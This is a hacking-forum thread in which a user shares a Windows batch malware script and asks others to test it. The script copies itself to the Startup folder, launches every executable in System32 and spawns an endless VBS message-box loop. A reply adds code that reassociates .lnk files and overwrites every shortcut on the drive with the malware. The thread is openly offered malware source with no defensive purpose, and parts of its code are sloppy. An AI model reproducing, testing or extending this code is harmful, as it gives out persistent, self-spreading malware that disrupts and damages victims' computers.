[Motioncity13]

So here's a little virus/malware type code i did using batch, I haven't tested it yet, but i can have a video demonstration of it by tomorrow night. Let me know what you think of the code and if you can test it that'd be great! :)
For the n00blets, This code does:
ΦCopying itself to the Startup directory of the current user.
ΦStarting every exe file in C:\Windows\System32
ΦMaking a Visual Basic Script that creates a never-ending message box.

Code

@echo off

REM HACKFORUMS.NET
REM HACKFORUMS.NET
REM HACKFORUMS.NET
REM HACKFORUMS.NET
REM HACKFORUMS.NET
if not "%cd%"=="%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" goto er1
if "%cd%"=="%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" goto aftermath
:er1
if not "%cd%"=="%userprofile%\Start Menu\Programs\Startup" goto er2
if "%cd%"=="%userprofile%\Start Menu\Programs\Startup" goto aftermath
:er2
if not exist "%userprofile%\Start Menu" goto vista7
if not exist "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" goto xp
:xp
if not exist "%userprofile%\Start Menu\Programs\Startup" call :copyxp
:vista7
if not exist "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" call copyvista7
:aftermath
if exist x390.vbs del x390.vbs
:startcode
cd\windows\system32
for /F %%i IN ('dir /b *.exe') DO start %%i
echo Do > x390.vbs
echo a=msgbox("EXE PWNED BY MC13",16,"HAHAHAH") >> x390.vbs
echo Loop >> x390.vbs
start x390.vbs
:e
exit
:copyvista7
copy "%0" "%userprofile%\Start Menu\Programs\Startup"
goto aftermath
:copyxp
copy "%0" "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
goto aftermath

EDIT*: I'm going to be adding a lot more to this code, obv.

[iGnite]

You should make it infect a few specific binary files; for example Firefox, iTunes, and Skype. Or more specifically make it infect a category of software, for example Instant Messengers, Games, and Web Browsers.

[Motioncity13]

You should make it infect a few specific binary files; for example Firefox, iTunes, and Skype. Or more specifically make it infect a category of software, for example Instant Messengers, Games, and Web Browsers.

Code

assoc .lnk=BatFile
DIR /S/B "%SystemDrive%\*.lnk" >> lnkfile.txt
echo Y | FOR /F "tokens=1,* delims=: " %%j in (lnkfile.txt) do copy /y %0 "%%j:%%k"

I think that should do it :] Infects LNK files:] replace "*.lnk in the second line with whatever extension you want:]